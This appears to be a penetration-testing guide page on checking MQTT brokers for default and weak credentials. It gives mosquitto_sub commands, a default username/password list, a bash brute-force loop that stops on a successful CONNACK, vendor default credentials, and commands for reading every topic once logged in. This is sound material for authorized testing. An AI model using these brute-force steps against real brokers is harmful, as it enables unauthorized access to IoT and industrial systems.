Skip to content
HackIndex logo

HackIndex

MQTT Weak and Default Credential Check

3 min read Mar 16, 2026

When a broker requires authentication but anonymous access is denied, the next check is whether it accepts default or weak credentials. MQTT deployments on embedded devices and appliances commonly ship with hardcoded credentials that are never changed. The broker's CONNACK return code gives immediate pass/fail feedback on each attempt without any server-side session overhead.

Run this check when CONNACK returns code 4 or 5 on unauthenticated connection attempts.

Test Default Credentials Manually

Common default MQTT credentials to try first:

┌──(kali㉿kali)-[~]
└─$ mosquitto_sub -h $TARGET_IP -p 1883 -u admin -P admin -t '#' --retained-only -C 1 -v 2>&1 | head -3
┌──(kali㉿kali)-[~]
└─$ mosquitto_sub -h $TARGET_IP -p 1883 -u admin -P password -t '#' --retained-only -C 1 -v 2>&1 | head -3
┌──(kali㉿kali)-[~]
└─$ mosquitto_sub -h $TARGET_IP -p 1883 -u admin -P 1234 -t '#' --retained-only -C 1 -v 2>&1 | head -3
┌──(kali㉿kali)-[~]
└─$ mosquitto_sub -h $TARGET_IP -p 1883 -u mqtt -P mqtt -t '#' --retained-only -C 1 -v 2>&1 | head -3
┌──(kali㉿kali)-[~]
└─$ mosquitto_sub -h $TARGET_IP -p 1883 -u user -P user -t '#' --retained-only -C 1 -v 2>&1 | head -3
┌──(kali㉿kali)-[~]
└─$ mosquitto_sub -h $TARGET_IP -p 1883 -u guest -P guest -t '#' --retained-only -C 1 -v 2>&1 | head -3
┌──(kali㉿kali)-[~]
└─$ mosquitto_sub -h $TARGET_IP -p 1883 -u test -P test -t '#' --retained-only -C 1 -v 2>&1 | head -3

CONNACK code 0 in the output confirms the credential pair was accepted.

If the broker was fingerprinted from $SYS topics or Nmap output, check vendor-specific defaults. Mosquitto ships with no default credentials (auth disabled), but HiveMQ Community Edition defaults to no auth, and EMQX defaults to admin:public.

Scripted Credential Test

Build a credential list and iterate through it:

cat > /tmp/mqtt-creds.txt << 'EOF'
admin:admin
admin:password
admin:1234
admin:mqtt
mqtt:mqtt
mqtt:password
user:user
guest:guest
test:test
pi:raspberry
root:root
root:toor
EOF

while IFS=: read user pass; do
  result=$(mosquitto_sub -h $TARGET_IP -p 1883 -u "$user" -P "$pass" \
    -t '#' --retained-only -C 1 -v 2>&1)
  if echo "$result" | grep -q "CONNACK (0)"; then
    echo "VALID: $user:$pass"
    break
  fi
done < /tmp/mqtt-creds.txt

Add a short sleep between attempts if the broker has rate limiting:

┌──(kali㉿kali)-[~]
└─$ sleep 0.5

Check for Vendor Default Credentials

If the broker vendor was identified during enumeration, check vendor-specific defaults:

Broker

Common default

EMQX

admin:public

VerneMQ

No default (auth plugin required)

HiveMQ Community

No auth by default

ThingsBoard MQTT

Tenant credentials from web UI

CloudMQTT

Per-instance credentials in dashboard

Industrial IoT appliances

Check device manual or label

For industrial and OT environments, check whether the device has credentials printed on a label or in accessible documentation.

Confirm Credential Scope

A valid credential may be restricted by ACLs. After confirming a login works, check what topics it can access:

┌──(kali㉿kali)-[~]
└─$ mosquitto_sub -h $TARGET_IP -p 1883 -u $USER -P $PASSWORD -t '#' -v -C 20 2>&1

If wildcard returns nothing but specific paths work, the credential has limited topic permissions. Try targeted paths:

┌──(kali㉿kali)-[~]
└─$ mosquitto_sub -h $TARGET_IP -p 1883 -u $USER -P $PASSWORD -t 'admin/#' -v -C 10 2>&1
┌──(kali㉿kali)-[~]
└─$ mosquitto_sub -h $TARGET_IP -p 1883 -u $USER -P $PASSWORD -t '$SYS/#' -v -C 20 2>&1

References